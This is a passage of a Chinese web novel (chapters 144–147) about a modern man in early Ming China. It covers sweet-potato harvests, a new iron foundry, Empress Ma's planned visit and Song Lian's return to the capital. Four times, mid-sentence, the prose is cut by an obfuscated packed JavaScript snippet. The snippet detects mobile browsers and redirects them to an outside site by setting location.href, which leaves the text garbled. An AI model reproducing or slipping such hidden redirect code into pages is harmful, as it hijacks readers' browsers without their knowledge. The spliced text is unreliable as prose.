结果现在来看,就是朱橚听进脑子里了。 “番薯要开始长大了!对么,先生!” 只见朱橚在那仔细观察叶片发黄的番薯叶,不一会就有点抓耳挠腮的感觉,他想找笔记录一下,却寻不到。 “是的,再过一段时间,番薯估计就能长成了,其实,现在土下面就已经有番薯的了。” 朱安宁也是兴奋得很。 他哼哧哼哧辛苦了这么久,这番薯总算能看到收成的希望了。 见朱安宁和朱橚都如此开心,朱棣也是终于忍不住了。 他顺势成了众人的嘴替,问道:“朱哥,看你们的意思是,这叶片黄了还是好事?” “当然是好事啦!”朱安宁拍了拍手,顺便还扶了一手李景隆,毕竟他好像有点腿软,接着才开口继续说道:“这是番薯生长周期中的一个重要阶段,此时期的主要特征是番薯的茎叶生长开始减慢并逐渐停滞,而块根则开始迅速膨大,会伴有叶片变黄甚至减小的情况。” 他已经给朱棣等人讲过好些现代的术语。 属于是懒得换词了。 而赵集哪听过这乱七八糟的说法。 他只知道此物叫番薯,好像要长成了。 哎,这朱大人是脑子有问题,把众人招进来,就为了说这个? 神金……此时的赵集只想快点出到外面去,高炉和鼓风箱他都已经备好了,现在正准备开炉,炼第一波料的…… 朱安宁哪管赵集什么想法,他本来就没想叫他。 他叫的是学过农学的这几人。 只见他 一咬牙,又蹲下,抓紧了那发黄的苗,又拿起了旁边的小铲,快速地舞动了起来。 在众人目瞪口呆之时,他已经把完整的番薯植株给清理了出来。 “我的番薯!”李景隆大叫了一声,有些凄厉。 众人都没想到朱安宁会突然拔起一株宝贵的苗,那是都呆在了原地。 “别叫别叫,我这不是想给你们看看茎叶退化期结的小番薯长什么样么。” 这话说完,朱橚也是反应了过来,他立马挤到了朱安宁身边,端详了起来,朱安宁则顺势把这番薯苗给了他。 几人就这般围了上去。 除了赵集…… 他表现得,没什么兴趣的样子…… 甚至有点,想离开。 只是碍于众人都在那里,他不好说。 朱安宁也是看出了赵集的不自然。 此时的他,心情很好,那是笑容满面。 “赵大人,若外面忙,可以先行处理啊。” 看见朱安宁这副模样,赵集也是多少有点好奇,但是他现在的注意力确实都在外面,便拱了拱手,准备告辞。 而后又像想起了什么似的,回头对朱安宁说道。 “朱大人,广东那边的铁矿石,过些日子才能到,我们先回炉一炉旧兵器,然后继续用城西矿石先如何?” “全凭赵大人定夺,对了,赵大人记得标记哪些枪管是回炉兵器造的,哪些是城西矿造的,哪些是广东矿造的。” “何须如此繁琐?” “想看看不同矿材料的影响,毕竟鸟铳的枪管,又细又长,实在是需要好材料才能造得安稳不是么?” “哈哈,还是朱大人考虑周到,没问题,我这就回去和蒯师傅他们说,等这第一炉炼出来,就可以开始先打磨枪管了,按图解上所示,至少需要一个月?” “确实是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378748|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耗时良久,但是实在没办法……” “好,那我就先出去忙了,正好试试朱大人设计的风箱!” “那……嗯,赵大人辛苦……” 本来朱安宁还想反驳下不是他设计的。 但是想了想,还是不要再胡扯了,一个谎言通常需要更多的谎言去掩盖,赵集信是自己设计的,就权当是自己设计的吧。 看着赵集兴冲冲地往外跑,朱安宁也是笑着摇了摇头。 放现代,这人高低是个工科大学高材生,甚至是教授都说不定。 毕竟自己只是提供了图纸,然后指导了下材料。 没想到这人真就哼哧哼哧地把高炉加风箱给弄出来了…… 虽然是有蒯富的帮助,但是也真是够猛的。 朱安宁是懒得再扯谎。 但是有些人,却必须要用更多的谎言,去掩盖之前的谎言。 工部郎中麦至德正在听着自己手下的人汇报事宜。 “麦大人,城西那边的矿,已经和蓝管事那边沟通过了,这些日子送来的都是合格的矿石,没有再用下等的……” 一个穿着花鸟补子青袍官服的官员,正在说话。 “什么下等不下等,欧大人啊,你说话还是不细致,我们一向用的都是合格的矿石,前些日子不过是派你过去稽查一下而已。” 麦至德轻哼了一声,那被称作欧大人的官员,那是汗如雨下。 “麦大人所言甚是,是下官嘴不利索……” “行了行了,下次注意点,对了,让你打探的那赵集负责的永乐庄铁冶,究竟是个什么情况,虞衡清吏司在城东不是已经有铁冶了么,干嘛山高路远地去郊外又整一个,是我大明国库钱银多,没地方花是吧。” 麦至德和赵集,同为工部高官,且赵集官位更高,但是两人掌管的事务不一样,性格上也迥异,麦至德并不喜欢赵集这种性格。 只见他轻笑了两声,当着自己下属的面,继续锐评道。 “那赵集,虽是我工部侍郎,但是脑子那就是一根筋,明明是个官,天天和工匠们混一起,干的活虽多,拿的钱银,好像还抵不过他家里的开销,多少有点让人贻笑大方。他手下的主事也是,一个两个穷酸得很啊……呵呵……” 麦至德喝了口茶,语气是一副惋惜的态度,但是那话是相当难听。 郎中都敢锐评侍郎,全是因为他麦至德人脉广,实际的权柄那是要比理科男赵集要大的。 那欧主事,只能赔笑两声,然后说回正事。 “下官打听了许久,听闻说永乐庄铁冶,是太子那边,说要试做一些新的火器,特意在永乐庄建的铁冶,不过具体为什么要在永乐庄建,下官也打听不到具体的原因,只是有说法说那庄子是曹国公的家产,又有说其实是太子私产的说法……” “新火器?……造吧造吧……太子想造,我们做臣子的,能拒绝?只不过,既然是太子要造,那就不得不供些好材料过去了,欧大人,你懂吧。” “下官知晓……” “至于库房里那些旧兵器,赶紧找个由头,运外地去,选些屯田练兵的地,别真送到戍边的地方啊,懂?” “下官知晓……” “知晓就赶紧去办。” 麦至德又喝了口茶,直接下了逐客令。 欧主事,本来想说一下,赵集曾经调过一批刀剑。 但是……既然旧武器都要处理……好像也不影响大局啊…… 他便连忙拱了拱手,就此退下。 PS:6K嗷,我真的6k了嗷~!~ 第一百四十五章 马皇后的思绪 太子在永乐庄,建了铁冶。 这事是绝无可能瞒住整个应天府的。 所以朱标根本就没做多少保密工作。 铁冶,造火器……应天府人来人往,材料的运输更是麻烦,怎么瞒? 这事传开的结果就是,整个应天府,又开始八卦这永乐庄。 虽然这庄子三天两头上街口大婶们的头条,但之前不过就是什么地租十收一,老农挖渠,地主搞乡学,却是在那教人耕田,永乐庄和永昌侯家的人打群架啦!之类的事情。 总而言之有人说那庄主是个大善人,也有人说他是个脑残东西…… 这些旧日的传言本就让永乐庄,显得神秘,不一般。 但是这次,传言可是涉及到了皇家…… 老早就有人猜这庄子是不是朱标的私产,这下算是变相坐实。 不然怎么说路口有那群凶神恶煞的卫兵嘛?果然是看守皇家地产啊! 于是,神神秘秘的永乐庄,突然又蒙上了一层皇室的威严…… 对某些官员们来说也是如此。 不过这又有什么干系呢?那山沟沟远得一批,自己闲得蛋疼啊,去那里…… 只要不学那几个勋贵,脑子有包去闹事,那就没事。 太子要搞铁冶,就搞嘛,不要影响自己当官老爷,挣银子就行。 所以,整个应天府,那是风平浪静。 除了说北边好像又要打仗…… 这些日子,赵集回宫汇报得频繁。 三天两头就是,朱大人不应该做东宫小文官啊,要调来工部啊!工部啊!工部才是朱大人的归属! 朱大人真是天纵奇才啊,风箱做好了,真踏马好用。 朱大人真是天纵奇才啊,高炉炉温真高,景德镇的高岭土,真踏马好用。 朱大人真是天纵奇才啊,焖出来的焦炭,和往前的好像真的不一样耶! 朱大人真是天纵奇才啊,区区九品,实在是不够啊! 之类的话…… 赵集是差不多隔几天就是上来撩拨一下老朱。 最开始朱元璋还能顶得住。 毕竟他也欣赏朱安宁,这赵集能看到朱安宁的好,也是有眼力见的啊。 而后面,赵集还是三天两头就来烦自己,他也是很快就绷不住了,直接就臭骂了赵集一顿。 “你这老小子,要是能把朱安宁说动,我把你的工部侍郎撤下来给他做!!!” 这一下就足以让赵集噤声。 开玩笑,赵集只是比较直,又不是智商低…… 老朱倒也不是时时刻刻脾气都这么爆。 只是他最近真的是累了。 朱元璋和朱标每天除了和阁臣们一起忙活政事外,对北方的调动也越来越密集。 特别是对朱安宁所献舆图的印证工作,已经开始了。 前方沐英蓝玉回报,地图的水路往往有所偏差,但是山川地形,那是清清楚楚,极其详尽。 这让老朱和朱大儿都放心了下来。 兵马粮草,接连的调动可能就是一句话,但是实际是极其繁琐的事情。 与此同时还在进行的,是遵化矿的开采,结合朱安宁给的信息,还真的就被他们发掘出来了,这消息是八百里加急回来的。 地方官的汇报相当详尽,而且那地本来就是有民铁的,随便造了两炉铁出来,质量都相当不错。 这消息更是让朱元璋和朱标振奋,也变得更加繁忙。 铁冶的配量,老朱原本是测算过的,本来应该要在这两年做出调整。 结果现在又开了个遵化铁矿,完了朱安宁那边还整了个大活,说能更新火器…… 那这铁冶,又该重新讨论了哎…… 于是,轮轴转的日子,又开始了。 乃至连朱元璋都忍不住开始想和马皇后抱怨自己太累了啊…… 只见朱元璋一脚跨进了殿内,人还没看清,他就叨了起来。 “妹子啊,这朱安宁虽然给咱整了个内阁的法子,明面上来看,是减轻了些折子的数量,但是我怎么就觉得比先前还累人啊!嗯?怀静怎么也在这里……” 结果一抬眼,他看见的不仅是自己的发妻,他的女儿也在坐在马皇后边上。 这朱怀静,是马皇后的小女儿,同母五个哥哥,一个姐姐,她打小就受宠,性子那自然就是俏皮些。 她看见父皇一边发牢骚,一边走进殿内,那是马上就开了口。 “父皇黑眼圈又重了些啊。”说罢便咯咯地笑了起来。 “怀静别胡闹,你父皇那是操心国家大事。”马皇后瞪了自己小女儿一眼,然后才看向自己的丈夫:“重八,你也莫要天天这般劳累……标儿也跟着你整宿整宿地在那熬……” “就是就是,大哥眼圈都快和那时被贼人所伤时一样黑了……” 马皇后的这种瞪眼,对朱怀静而言那是毫无杀伤力,她也是顺着马皇后的话说道。 结果自然又是被马皇后瞪了一眼,这次的眼神要严厉些。 朱怀静那是审视夺度,缩了缩脖子,立马闭上了嘴巴。 朱元璋听完自己老婆孩子的吐槽,那也是气不打一处来。 当然,气自己老婆孩子是不可能的。 他气的是朱安宁。 “还不是怪那朱安宁,他就尽是说些模棱两可的计策,完了我们就得通宵达旦地去完善……嘿,我怎么感觉他才是皇帝啊?啊?” 朱元璋嘟囔了两声,他也只有在马皇后这里,才会放下那一身枷锁,如唠家常似地说话。 “重八,莫要在这里胡说八道。” 马皇后却也是嗔怪了两声:“你这话被外人听了,不得吓死啊。” “嘿,我就说了,你能传出去不成,还是怀静传啊。” “你也知道怀静在这里啊!” 马皇后也是笑了两声,走了过去,开始给朱元璋捏肩膀放松。 两人像极了劳作完回家的老农,和自己的妻子那般。 朱元璋得以放松些许,也是把目光转向了自己女儿。 “怀静女儿家家,能懂什么……” 这既是调笑,也是老朱对女儿家的态度。 这让朱怀静立马就不满了起来,她从小在宠爱中长大,同母的哥哥也好,姐姐也好,哪个不是让着她,朱元璋这老农对老大以外的儿子是喊打喊杀,但是对女儿,却是极好的,更别说这朱怀静是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378749|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和马皇后的幺女。 老幺,那就是家里最受宠的。 这事放哪个朝代,都不会令人意外。 “我怎么就不懂了?先前文华殿听先生授课时,那些大臣家的公子们,都愚笨得要死,我能比他们差?” 朱怀静翻了个白眼,这话听着是有些骄蛮。 但是朱元璋却也毫不在意,他哈哈大笑了起来。 “哈哈哈,怀静,你读书确实不错,但是和你四哥五哥比,还差得远吧。” “那……那不是四哥五哥岁数长于我么!”朱怀静一听自己老爹用哥哥来压她,那也是恼火了起来。 只不过想要再辩驳,也是说不下去。 说起学识,她四哥朱棣五哥朱橚都是极好的,这是文华殿学士们公认的事情。 “不过已经好久没见过四哥五哥了……”恼火归恼火,朱怀静也是有点想她的两个哥哥了。 这话也是勾起了马皇后的一些思绪。 朱棣和朱橚,虽然一直在永乐庄忙活,但是也不是说完全不回宫那种。 他朱安宁是地主没错,但是朱棣和朱橚可不是包身工。 然而随着朱安宁推进的项目越来越多,这两人的回宫次数开始指数下滑。 马皇后满不满意? 当然不满意……因为这两个儿子,很快就要去封地了啊…… 本来就没多少时间陪她这老娘了,现在倒好,还一天天的见不着人。 “你四哥五哥有要事在身。”朱元璋提了提自己的龙袍,换了个更舒服的姿势。 “什么要事嘛,不就是在那郊外的永乐庄么?”朱怀静撇了撇嘴,下意识地说道,却也是猛然惊醒,捂住了自己的嘴巴。 看着就是一副糟糕,说漏嘴了!的样子。 朱元璋听罢,那是眉头一皱。 都不需要多猜,他直接就点出了嫌疑犯:“是老四还是老五说的!!!” 语气有点重。 朱怀静赶忙挤了过去,抢过了马皇后的工作,开始帮朱元璋捏肩。 “是五哥……父皇你莫要责罚他……他只是被我缠得紧了才告诉我的,我也没告诉旁人……” “老五……哼,愚蠢!” 朱元璋不过只是骂了一句,并没有说更多的话。 这也是让朱怀静略微安心了点,骂得越长事越大……愚蠢这个评价,还好还好……真是差点害了自己哥哥呀…… 她拍了拍自己胸脯,总于是松了一口气。 只是这捏肩膀的工作还得继续,不太够力气的她,只能微微踮起脚,借着力,继续开始给自己老爹捏肩膀。 而马皇后已经回到了桌前,坐下,不知道在想些什么。 朱怀静或许是真的有点怕,因为自己说漏嘴而让自己五哥挨揍……便也是捏得卖力了些。 朱元璋则在享受,这难得的恬静时光。 不知道过了多久,宫殿里突然响起了马皇后的声音。 “重八,我想去永乐庄看一看,老四老五每次回来都是急急忙忙的……而且你不是说就是那朱安宁的药救了咱大孙子么?我也正好去道个谢。” ———— PS:先发一章,晚上还有 第一百四十六章 宋濂进京 而此时的朱家小院,那就是鸡飞狗跳了。 学堂那边许久没听话本,其他人又讲得没刘廌好听,包括朱安宁…… 原本朱安宁才是最受欢迎的说书先生,结果现在倒反天罡,几个孩童都说他讲得莫有感情,不好玩。 这让朱安宁是腹议不已……只是他也不得不承认,自己是凭借记忆说到哪算哪的,而刘廌这较真的家伙,却是把文本记下来,好好润色的,这个中差距,不言而喻。 眼看学堂的孩童们快要造反,朱安宁也只能把刘廌放了回去讲西游记。 所以今天教导两人的重任,就落在了他的身上。 朱安宁是不得不佩服季廌真有涵养…… 都说素质是理智的产物,他现在已经快要没有素质了。 这胡修道和柳文,一个捧哏和逗哏,那是把学论语整成了说相声。 “你说这孔夫子的孔是哪个孔?”胡修道掰着手指头在那说着。 “季廌先生教过一个词正好是说孔老夫子的。”柳文摇头晃脑,嘿嘿一笑,有点唐…… “季廌先生教过那么多词,哪个词嘛……” “注解上说得清清楚楚,孔老夫子能折服三千门徒,这孔,肯定是孔武有力的孔啦~~~” 朱安宁冷眼看着这两个半大不大的小屁孩,那是差点一口老血喷出来。 “行行行,让你们休息,不是在这里编话本的!!!”他高声喊道,再高点分贝,恐怕就是咆哮了。 “朱爷,你教我们的嘛,世界如此美妙,不要如此暴躁……” 啪! 朱安宁的那根树枝,终于还是忍不住抽到了桌面上。 然后扶额眩晕状。 “论语不见你们记这么牢,乱七八糟的东西就全听到脑子里了是吧!!!啊???” 这一抽,也就是吓唬吓唬他们,而胡修道和柳文也知道,这群先生里,真的会下死手的也就是朱棣而已…… 朱安宁也好刘廌也好,撑死了就是抽他们几下,痛一下就好。 所以在朱安宁和刘廌面前,都是嘻嘻哈哈。 不过不得不说的是,这两人的脑袋是灵光的……看人也很准。 这段时间,刘廌和朱安宁那是威逼利诱加朱棣偶尔不时出手重拳出击,其实这两人早已达到了出师的水平。 今天朱安宁不过是想检查下他们的情况而已。 “哎呀,怎么就记不牢了?朱爷,就这么点内容,你让我们写字,我写不了那么多,写字太累了,但是你让我说,那可太简单了……” 胡修道满是不屑。 但不是说他真的就是朱安宁随手选的天才…… 而是朱安宁低估了现代注解的威力…… 都翻译成烂白话,前因后果都说的明明白白,句子也断好了。 甚至把孔老夫子和那几个门徒的轶事都写得趣味盎然…… 这种局,栓条狗都能打…… “行行行……柳文你也是这么能是吧……” “哎呀,朱爷,这些东西我们都听了多少天了,耳朵都长茧子了,孔老夫子一辈子那么长,不至于只说了这么几句话吧。” “诶,文兄,此言差矣,一辈子长短,应当是逝者如斯夫,不舍昼夜啊” “道兄好文采!” 两人是学着大人们拱手的样子,互相拜了拜。 那是瞬间又拉高了朱安宁的血压。 不过,这一番话,却也是把朱安宁给气乐了。 “你两先等在这里,我回房里拿点东西。” 没有等两人回答,朱安宁是快步走回了自己的车内。 然后在电脑上翻出了练习册里面关于论语的那些拓展训练。 “我难不死你们两个龟孙!” 这些内容他是早就准备过的了,繁体字也已经转换好。 他快速接通打印机电源。 那也是被气得都快顾不上说浪不浪费纸张油墨了。 直接就按下了打印按钮。 几页纸张,就这么飞了出来。 然后被他拿住,冲回了两少年面前。 “给我看,看完给我回答问题!”马景涛式的咆哮体,再现江湖。 胡修道和柳文也是知道,两人连续作死,是终于把这朱爷给惹毛了…… 便乖乖接过了纸张。 只是胡修道还是小心翼翼地补了句:“朱爷,大部分字没问题,但是还是有些认不全……” “认不全就问我!!” 朱安宁被气得头皮发麻。 气哼哼地坐到了躺椅上。 这些其实就是初高中的文言文拓展练习,朱安宁截取了论语相关的内容,做成了繁体字练习册而已。 这类东西,他电脑里可太多了。 兼职资料嘛,都是一代传三届,三届再累积,最后到他朱安宁手里的时候,都已经累积到十几个G的地步了。 要知道,里面大部分都可是文字资料啊。 至于一会两少年答不出来,他怎么解答,这也丝毫不用担心…… 他手里拿了一份解析…… 就这样,朱安宁的私人授课,进入到了他未曾预料到的阶段。 论语十则……实在是太简单了,对有注解的两人来说。 所以,现在,两个农家的孩童,真的就正儿八经开始学习,完整的论语。 在朱安宁教授胡修道和柳文,论语正式篇章的时候。 应天府外,迎来了一位老人。 这老人头发花白,有点佝偻的样子,但是精神还算矍铄。 扶着他的人正是宋慎,另外一边则是宋慎的叔叔宋璲。 “慎儿,你修书给我,说希直惹了四皇子,还和一地主立下赌约,说以论语为赌注,究竟是个什么事啊,真是荒唐啊……” 老人在叹气,似乎还有些恼火。 这老人正是明初的大儒宋濂。 要是说起文人中的地位,其实他隐隐是比刘伯温要高的,连刘伯温都曾经称赞他是当今文章第一。 他还修佛修道,一生算得上是清廉,说是明朝文臣的标杆之一倒也不为过。 而现在的他,明明是已经告老还乡,却还长途跋涉回到应天府,正是因为他孙子宋慎的一封书信。 上面写了宋濂的得意弟子方孝孺,和永乐庄众人起冲突并立下赌约的事情,当然,连带也讲述了一下朱安宁的乡学是什么情况,当然,也就是微微讽刺,看过永乐庄阵仗的他,是不敢直言荒唐的了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378750|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……毕竟他又没有方孝孺那么耐诛…… 宋濂还在恼火,他一边走去许久未回来的应天府,一边痛斥自己的孙子。 “论语乃圣人言行,尔等居然敢拿来玩闹……真是岂有此理。” 这话是说得宋慎也有些恼火。 立赌约的又不是他,是方孝孺啊! 不过他确实也是怕方孝孺惹出什么更大的乱子,才把自己爷爷请回到应天府来的。 毕竟那方孝孺的脾气正就是硬邦邦,要么他把人撞死,要么被人把他锤粉碎的那种性格。 他是希望宋濂能回来治一治他的。 让爷爷使用无敌的人脉关系,去终止掉这无聊的赌约,那更是好上加好! 所以被宋濂骂了两句,他也只能唯唯诺诺地点头,想让自己爷爷顺顺气再说。 “哎,人家地主家的乡学,想教什么就教什么,只要不是有违纲常,那又何妨!” “是是是,爷爷说的是!” “你除了会说爷爷说的是,还会说什么!”宋濂抬手就是一拍,扇了下宋慎的脑袋。 让一旁的宋璲都忍不住笑了出来。 下到农家大爷,上到这宋濂大儒,实际教训自己后辈,也都是觉得上手要快些。 这样一看,宋濂倒也是和寻常大爷没什么区别了。 宋慎被骂了两句就算了,还被自己爷爷上头扇了下后脑勺,那是恼火得紧,便也突然方孝孺上身,犟着脖子回到:“爷爷,你是不知道,那永乐庄庄主说什么区区论语,自己庄里字识不得几个的孩童都能理解透彻……一月足以……” 这话倒是真的,只不过宋慎添油加醋了些许而已。 不过考虑到他气在头上,也是可以原谅。 而这么一说。 宋老爷子的脸也是黑了下来。 别的事情他还能忍。 但是这番话听下来,这永乐庄的地主……好像对圣贤书,真的不是很尊重啊。 孩童一月学论语? 什么失心疯! 莫不是把天下读书人当傻瓜看待了? 宋濂脸黑下来,宋慎也是趁热打铁:“希直就是气不过才答应赌约的……燕王周王在场,我也不敢说什么……” 对于时间的来龙去脉,其实宋濂是了解。 他也知道永乐庄里有燕王和周王…… 虽然不知道他们在那里干嘛,但是好像这是个小秘密,他也不会多言多问…… “你是想我帮忙劝下希直?”宋濂沉声回道。 “一个月断然是学不会论语的……但是希直他性子硬,届时咱们赢了,希直说不得会干出什么事情来……惹来祸事就不好了啊!爷爷……” 这便是宋慎的真实想法。 一个月学论语,如果是书香门第家耳濡目染的神童,那当然有可能。 但是就是农家的两个孩子。 …… 这真就是失心疯了…… 宋慎把自己爷爷叫来。 是怕赢了的方孝孺发癫…… 惹出什么大乱子,到时牵连一堆人,乐子就大了…… 被揍事小……命重要啊。 —————— PS:说6k,就6k 第一百四十七章 大家都出发去永乐庄吧 几个亲卫穿着便装,额头冒汗。 正在应天府大街上走着,走得那是战战兢兢。 往日朱标和朱元璋离宫,他们是不会这么紧张的,毕竟两人都算有点身手……再不济,自己几个亲卫护着,撒腿就跑不是简简单单的事情? 但是今天离宫的人是马皇后和朱怀静。 两人那是跑都跑不快的啊!不说什么歹人,就是这马皇后和朱怀静摔了或者受伤了,自己这群人一家老小怕不是都得去地下团聚。 虽然这里是天子脚下,但是天知道会不会出什么幺蛾子…… 几个亲卫对视了一眼,都从对方眼中看到了慎重…… 得好好保护两人…… 为了自己和家人的小命…… 而马皇后,则是有点闲庭散步的意思了。 他和朱元璋两人都是社会履历极其丰富的创业者,天下都打下来了,出个宫,那算不得什么大事。 只是马皇后烦的是跑在她身前的女子…… “怀静,女孩家家,走慢点……注意你的仪态!” 马皇后拉了拉走在前面的女儿,那是多少有点头疼。 本来她就是想陪朱元璋或者朱标来一趟就算了的。 结果朱标和朱元璋那是忙得睡觉都要掐时辰的那种,确实抽不出空。 马皇后便只能自己出行。 结果却被自己的幺女缠上,说什么也要陪着一起去。 理由还冠冕堂皇得很,上来就是母后出门需要有人照顾,自己也想念四哥五哥之类的。 能压住她的朱元璋又不在,马皇后一时心软,便也是答应了下来。 “母后……”朱怀静刚开口,便想起了出发前马皇后交代的事务,那是连忙改了口:“娘,难得出门啊,原来外面这么热闹啊!这又不是在家里,时时刻刻注意仪态啊步子啊,也太难受了吧!” “身为女子,走到哪都应该注意仪态!而且你真是尽说些瞎话,你以为我和你爹不知道啊,你几个哥哥带你出来得少?还难得出门……” 马皇后对着自己的幺女,那是相当无奈,几个女儿儿子,在外面她管不了,但是至少在她面前,那都是规规矩矩的,唯独这个幺女,天不怕地不怕…… “嘿嘿,那不是很久之前的事了嘛,他们现在越来越忙,人我都见不到,当然就没机会出来啦!”朱怀静也是说得直接。 仿佛说以前偷溜出宫是什么正常事那般。 “你这话要是让你爹听到,他不揍死你那几个哥哥啊……” “所以只要不要让爹知道就好啦!娘,对不对?” “哎,你爹和你大哥最近都是事务缠身,你就少些惹事好么,我们现在去的永乐庄,也不是什么玩耍的地方,那庄主,说是你爹和大哥都看重的人,你去到且礼貌些,不要像在我面前这般。” “好嘛好嘛,那朱安宁是三头六臂嘛,爹和大哥天天念叨她,娘你也是念他……我不管,反正我是去看四哥五哥。” 朱怀静嘟起了嘴,一副不是很开心的样子。 毕竟出宫之后,马皇后真就是念了她一路。 十几岁的年纪,本来她性子就不是那种娴静的类型,哪受得了这紧箍咒。 马皇后一看自己女儿嘟起嘴巴,便也是知道她不甚开心,那是无奈地敲了敲她的小脑袋说道:“哦,出门就是为了看四哥五哥?那说好的照顾我呢?” 这招果然起效。 朱怀静一听自己母亲说这样的话,那是连忙放慢了脚步。 “哎呀,这一路我当然会好好照顾娘的啦~~~”她一把就抱住了马皇后的手臂,做撒娇状。 马皇后也是立马就软了下来,被自己幺女拿捏得死死的。 而走在大街上的,可不只是马皇后和朱怀静。 方孝孺和宋慎也在慢慢走着道。 但不是说他们走不快。 而是他们必须要配合前面老人的步速,丝毫不敢僭越。 只见方孝孺看宋慎的眼神,那全是不满的意味。 很简单……自己把宋慎当死党,结果死党却抬了自己恩师出来压自己,真是可恶至极!!! 还有天理么,还有王法么?! 所以方孝孺很不满。 宋慎哪能不知道方孝孺的想法,但是这事还真就非做不可。 他可是真心把方孝孺当朋友的,在宫内做事那么久,虽然只是个小小的序班,但是他还算是能看清点事务。 你方孝孺确实能赢,赢了之后呢? 这场面就尴尬了,你打燕王和周王的脸。 还想不想出任地方官了? 你方孝孺现在是没官职在身的啊,这么浪…… 一想通这些关节,宋慎那是马上就休书搬救兵。 宋濂一向疼爱自己,更不用说方孝孺是他的得意弟子…… 至于劝方孝孺这种事情,那他是想都懒得想。 石头有多硬,方孝孺就有多头铁。 作为他的好友,宋慎是很清楚的。 所以,同样跟在宋濂后面的他,那是直接就不和方孝孺对视,反正爷爷已经过来了。 他的想法很简单。 赢,方孝 孺是赢定的了。 自己把爷爷抬出来,到时去当永乐庄,也算是个公证人,到时只要能压住方孝孺不要说太多垃圾话,再卖点面子给那朱安宁和燕王周王,这方孝孺的小命和前途就算是保下来了…… 之后大不了自己再去道歉或者做点其他事情。 把这事揭过去才是关键。 只是每每想到自己这么为对方着想,对方却是犟得要死,宋慎也是恼火得紧。 不过在宋濂面前,不好表现而已。 几人走了不长的时间,宋濂始终是老了,他步速慢了下来。 “希直,功课可有耽误?”宋濂缓步前行,深沉的声音中透露出一种大儒特有的威严与从容,他没有回头,却准确地传达出自己的关切。 方孝孺听到恩师的询问,心头一紧,随即调整了心态,带着恭敬之情向着前方宋濂的背影深深一揖。 “回宋师,弟子谨记宋师教诲,没有一日敢怠慢。” 他说得恭恭敬敬,而且他也确实是这般做的。 后世皆知方孝孺是十族耐诛王,但是却常常忽略,他也是宋濂后的文人领袖之一。 单说学识,他也是最顶尖的。 只见走在前方的宋濂微微颔首,似乎是认可了方孝孺的说法。 街道很是热闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378751|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 也有些嘈杂。 过了不知多久,宋濂的声音又传了过来。 “如果是真的日夜在精进学问,那为何又会发生这种荒唐事呢?” 这声反问,声音并不大。 敲在了方孝孺的心头。 宋濂没有点出是什么事情。 但是三人都知道,说的就是永乐庄的赌约…… 其实方孝孺也知道这赌约甚是荒唐,但是那种场合之下,他脾气上来了,哪还顾得了那么多。 现在宋濂问起这事,他也是早有预料的。。 “宋师,那日确实是弟子冲动了。” “知晓自己冲动,还算是知道自己是谁,希直……” 宋濂哼了一声。 里面多少带点失望。 方孝孺,他最得意的弟子,博古通今,虽然至今未有外派,但是他坚信,这弟子未来一定会大放异彩,青史留名。 而令他没想到的是,他掺和进那么无聊的事情里,甚至还需要自己出面去处理。 这话说得其实是极重的。 宋濂修儒,修佛,修道,本来说话那是板板正正的。 结果现在却哼出了声。 方孝孺也是知错。 只不过犟种始终是犟种,他开始了自己的解释。 “弟子有过错,但是那永乐庄朱安宁,做的事情,实在是有辱孔圣和程朱夫子,相信任何一个儒生,都不能接受他做的事情。一个好好的学堂,十几个学童,却教了些上不得台面的东西,这不是耽搁了那些学童的前途么。” 他这话也是说得直接。 宋濂却也是只能摇了摇头。 其实他理解自己弟子的意思。 在他心中,那些东西也是上不得台面的。 只是他性子较稳,这种话是万万不会直接说出口的。 “书里有教过你争强好胜?老夫有教过你争强好胜?你若是赢了,又当如何?做小人得志状?” 宋濂停下了脚步,回头看了自己的得意弟子一眼。 方孝孺听见这话,也是身子一震。 没错……赢了又当如何? 自己是读过圣贤书的人,难道要在那永乐庄,做小人得志状? “恩师……所言极是……” “能听懂就好,老夫这次回京,本意是去面圣的,如今却被你这小事耽搁了,一会,你若是赢了,也需给永乐庄等人,道个歉,做学问,要细致,做人,要大度!” 这话说得让方孝孺也是无话可说。 